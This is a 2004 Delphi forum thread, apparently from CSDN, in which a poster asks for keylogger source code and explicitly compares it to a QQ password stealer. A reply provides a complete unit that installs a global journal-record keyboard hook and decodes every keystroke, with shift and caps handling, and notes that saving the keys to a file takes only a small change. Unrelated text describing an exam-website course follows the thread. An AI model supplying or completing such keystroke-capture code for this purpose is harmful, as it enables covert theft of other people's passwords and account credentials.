&&&&&&&&&&&&&&关于记录键盘消息&&&&&&&&&&&& 马上结帐

LWWL 2004-06-28 09:07:23
我想做个记录屏幕键盘信息的程序 把按键信息保存到1个文本里面,类似于盗QQ密码的软件,我知道用HOOK实现 不知道怎么做
哪位大侠以前写过 可否给小弟一个源码?要判断大小写和数字
分不够我继续加。

成功后马上结帐
...全文
85 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
juliens 2004-06-28
  • 打赏
  • 举报
回复
查一下MSDN就知道了,它是用来调用钩子链中的下一个钩子!
juliens 2004-06-28
  • 打赏
  • 举报
回复
API函数!
LWWL 2004-06-28
  • 打赏
  • 举报
回复
CallNextHookEx 是系统函数 还是自定义函数?
linzhengqun 2004-06-28
  • 打赏
  • 举报
回复
else if Keyvalue=35 then
begin
Form1.Label1.Caption:='End'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=27 then
begin
Form1.Label1.Caption:='ESC'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=8 then
begin
Form1.Label1.Caption:='Back Sapce'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=45 then
begin
Form1.Label1.Caption:='Insert'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=33 then
begin
Form1.Label1.Caption:='Page Up'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=34 then
begin
Form1.Label1.Caption:='Page Down'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=36 then
begin
Form1.Label1.Caption:='Hone'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=38 then
begin
Form1.Label1.Caption:='Up'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=37 then
begin
Form1.Label1.Caption:='Left'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=40 then
begin
Form1.Label1.Caption:='Down'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=39 then
begin
Form1.Label1.Caption:='Right'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=107 then
begin
Form1.Label1.Caption:='+'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=109 then
begin
Form1.Label1.Caption:='-'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=111 then
begin
Form1.Label1.Caption:='/'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=106 then
begin
Form1.Label1.Caption:='*'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=219 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='{'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='['+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=221 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='}'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:=']'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=110 then
begin
Form1.Label1.Caption:='.'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=186 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:=':'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:=';'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=222 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='”'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='’'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=49 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='!'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='1'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=50 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='@'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='2'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=51 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='#'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='3'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=52 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='$'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='4'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=53 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='%'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='5'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=54 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='^'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='6'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=55 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='&'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='7'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=56 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='*'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='8'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=57 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='('+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='9'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=48 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:=')'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='0'+': '+INTtoStr(KeyValue);
exit;
end
else
temp:=KeyValue;

Form1.Label1.Caption:=char(temp)+': '+INTtoStr(temp);

end;
end;
End; // KbHook

procedure TForm1.Button1Click(Sender: TObject);
begin
if oldHook=0 then
oldHook := SetWindowsHookEx( WH_JOURNALRECORD, @KbHook, HInstance, 0);

end;
procedure TForm1.Button2Click(Sender: TObject);
begin
If oldHook <> 0 Then
Begin
UnhookWindowshookEx( oldHook );
oldHook := 0;
End; // If

end;



end.
linzhengqun 2004-06-28
  • 打赏
  • 举报
回复
建立一个工程文件,把这个单元拷过去 ,然后运行,就可以看见了,不过你要保存到
文件,带需要改一孜,应该不是很难
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
Function KbHook( code: Integer; wparam: Word; lparam: LongInt ): LRESULT;stdcall;
var
Form1: TForm1;
oldHook:Hhook;
implementation

{$R *.dfm}
Function KbHook( code: Integer; wparam: Word; lparam: LongInt ): LRESULT;stdcall;
var temp,KeyValue:UINT;
ks: TkeyBoardState;
Begin
result:=0;
If code < 0 Then
begin
result:= CallNextHookEx( oldHook, code, wparam, lparam );
end
Else begin
if pEventMSG(lParam)^.message=WM_KEYDOWN then
begin
KeyValue:=pEventMSG(lParam)^.paramL mod 256;
GetKeyboardState(ks);
if (KeyValue>=65) and (KeyValue<92)then
begin
if (ks[VK_CAPITAL]<>1) then
if ks[VK_SHIFT]and $80<>0 then
temp:=KeyValue
else
temp:=KeyValue+32
else
if ks[VK_SHIFT]and $80<>0 then
temp:=KeyValue+32
else
temp:=KeyValue;
end
else if(KeyValue>=96)and(KeyValue<106) then
temp:=KeyValue-48
else if(KeyValue>=112)and(KeyValue<124) then
begin
Form1.Label1.Caption:='F'+IntTostr(KeyValue-111)+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=13 then
begin
Form1.Label1.Caption:='Enter'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=32 then
begin
Form1.Label1.Caption:='Space'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=16 then
begin
Form1.Label1.Caption:='Shift'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=17 then
begin
Form1.Label1.Caption:='Ctrl or Alt'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=20 then
begin
Form1.Label1.Caption:='Caps Lock'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=9 then
begin
Form1.Label1.Caption:='Tab'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=188 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='<'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:=','+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=190 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='>'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='.'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=191 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='?'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='/'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=192 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='~'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='`'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=189 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='_'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='-'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=187 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='+'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='='+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=220 then
begin
if ks[VK_SHIFT]and $80<>0 then
Form1.Label1.Caption:='|'+': '+INTtoStr(KeyValue)
else
Form1.Label1.Caption:='\'+': '+INTtoStr(KeyValue);
exit;
end
else if Keyvalue=46 then
begin
Form1.Label1.Caption:='Delete'+': '+INTtoStr(KeyValue);
exit;
end
ztenv 2004-06-28
  • 打赏
  • 举报
回复
要用到系统级的钩子,也就是把钩子的实现过程写到DLL中,接着要挂钩(setwindowshookex),
课程内容主要讲解如下几点:1:如何使用navaicat导入sql2:如何设置网站的的数据库账号等,如何使用iis发布网站3:演示后台管理功能、前台用户功能 该系统主要分网站管理员、游客、注册用户这几个角色网站管理员系统设置网站设置:网站名称、关键字、描述、网站介绍关于我们设置:设置关于我们、联系我们、加入我们、法律声明广告和留言       首页轮播图设置:支持上传轮播图;       留言列表:用户的所有留言信息、支持删除会员管理查看会员信息列表、支持删除功能资讯中心       添加资讯:类型、标题、资讯内容等       管理资讯:查看所有资讯列表;支持修改功能;支持删除功能       资讯浏览列表:所有用户的信息浏览记录;支持删除功能。       信息收藏数据:所有注册用户的收藏资讯列表;支持删除功能。       信息评论列表:所有注册用户的用户评论列表;支持审核和删除功能。机构环境(图片)       分类设置:支持录入、查看列表、修改、删除功能;比如外围、内部、教室图片       录入图片:录入分类、标题、图片、介绍等       管理图片:查看所有图片列表;支持修改功能;支持删除功能题库中心       1级分类:题库的1级分类,支持录入、查看列表、修改、删除       2级分类:题库的2级分类,支持录入、查看列表、修改、删除       录入题库:选择分类、录入题库标题、选择单选题或者多选题、录入4个选项同时勾选答案、录入题目的解说。           注意:单选题勾选只能1个答案、多选可以勾选多个答案       管理题目:查看所有题库列表、支持修改、删除 试卷管理       录入试卷:录入试卷分类、试卷名称、试卷介绍等       管理试卷:查看时间列表、分类;支持修改和删除       录入单选题:在试卷列表的试卷名称后面,点击“录入单选题”;进入题目选择;在左侧列表选择要加入该试卷的题目即可;在右侧是已经加入该试卷的单选题列表,支持删除。       录入多选题:在试卷列表的试卷名称后面,点击“录入多选题”;进入题目选择;在左侧列表选择要加入该试卷的题目即可;在右侧是已经加入该试卷的单选题列表,支持删除。       考试列表:显示所有试卷的考试信息、会员信息、考试结果分数游客机构介绍关于我们、联系我们、加入我们、法律声明机构环境 查看机构环境所有图片:周围环境、内部环境、教室环境等资讯中心查看餐厅网站的所有资讯:通知公告、帮助中心、考试信息、疑难解答留言反馈给网站管理员留言:主题、联系人、电话、邮箱、内容等 注册用户注册用户除了享有游客的特别功能外,还有一些功能。注册和登录注册功能:填写用户名和密码注册登录:登录后可以享有会员功能。 在线考试       第1步:点击试卷列表,找到需要考试的试卷,点击进入。       第2步:点击单选题或者多选题选择答案       第3步:点击试卷右上角的“提交试卷”,提交开始结果我的考试列表       列出我的所有考试信息,试卷名称,分数,相关数等       试题解析:在考试列表,最右侧,“查看实体解析”,进入解析页面,正确的试题背景是绿色,错误的试题背景是红色,点击错误的试题,可以查看正确的答案以及试题解析。 资讯浏览、收藏、评论信息管理当前会员资讯的浏览信息列表;资讯收藏列表,支持删除;评论列表 用户信息维护自己的会员信息,包括:姓名、联系方式、邮箱、头像、简介、详细介绍等;支持修改功能密码修改和退出登录密码修改:修改自己的密码退出登录:清除登录的cookie、跳转到首页

5,392

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 开发及应用
社区管理员
  • VCL组件开发及应用社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧